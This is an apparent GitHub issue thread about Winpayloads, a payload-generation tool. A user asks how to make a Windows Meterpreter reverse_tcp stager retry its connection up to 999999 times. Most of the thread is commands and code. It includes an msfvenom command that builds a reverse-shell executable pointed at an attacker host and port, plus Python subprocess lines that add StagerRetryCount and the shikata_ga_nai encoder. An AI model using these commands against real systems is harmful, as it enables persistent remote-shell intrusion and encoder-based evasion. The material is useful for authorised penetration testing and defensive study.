StagerRetryCount help

[ghost]

Hello how can i set StagerRetryCount on payload?

[Charliedean]

You can set it in the following file:
https://github.com/nccgroup/Winpayloads/blob/master/lib/startmetasploit.py

Add it to the correct payload that you are trying to use. EG reverse https = methttps_normal, so change the os command and add it after a semicolon

[ghost]

You can set it in the following file:
https://github.com/nccgroup/Winpayloads/blob/master/lib/startmetasploit.py

Add it to the correct payload that you are trying to use. EG reverse https = methttps_normal, so change the os command and add it after a semicolon

thank you but i was meaning it to the generating payload for example in msfvenom :
msfvenom -p windows/meterpreter/reverse_tcp - platform windows-a x86 -f exe -o something LPORT= PORT LHOST= HOST StagerRetryCount=999999 <---- this means it will be requesting 999999 times until i type exploit in msfconsole

[Charliedean]

Winpayloads/lib/main.py

Line 75 in 809c970

p = subprocess.Popen(['msfvenom', '-p', payload, 'LHOST=' + str(ip), 'LPORT=' + str(port), '-f', 'python', '-e', 'x86/shikata_ga_nai'], bufsize=1024, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

Try changing it here

[ghost]

Winpayloads/lib/main.py

Line 75 in 809c970

p = subprocess.Popen(['msfvenom', '-p', payload, 'LHOST=' + str(ip), 'LPORT=' + str(port), '-f', 'python', '-e', 'x86/shikata_ga_nai'], bufsize=1024, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

Try changing it here

= subprocess.Popen(['msfvenom', '-p', payload, 'LHOST=' + str(ip), 'LPORT=' + str(port), '-f', 'python', '-e', 'x86/shikata_ga_nai', 'StagerRetryCount=99999',], bufsize=1024,

now it shows it cant execute script but when rewrited 'StagerRetryCount=99999' to 'StagerRetryCount=' + 99999 then it requests only 3 times

[Charliedean]

p = subprocess.Popen(['msfvenom', '-p', payload, 'LHOST=' + str(ip), 'LPORT=' + str(port), 'StagerRetryCount=20', '-f', 'python', '-e', 'x86/shikata_ga_nai'], bufsize=1024, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

This should work. If not please post the stack trace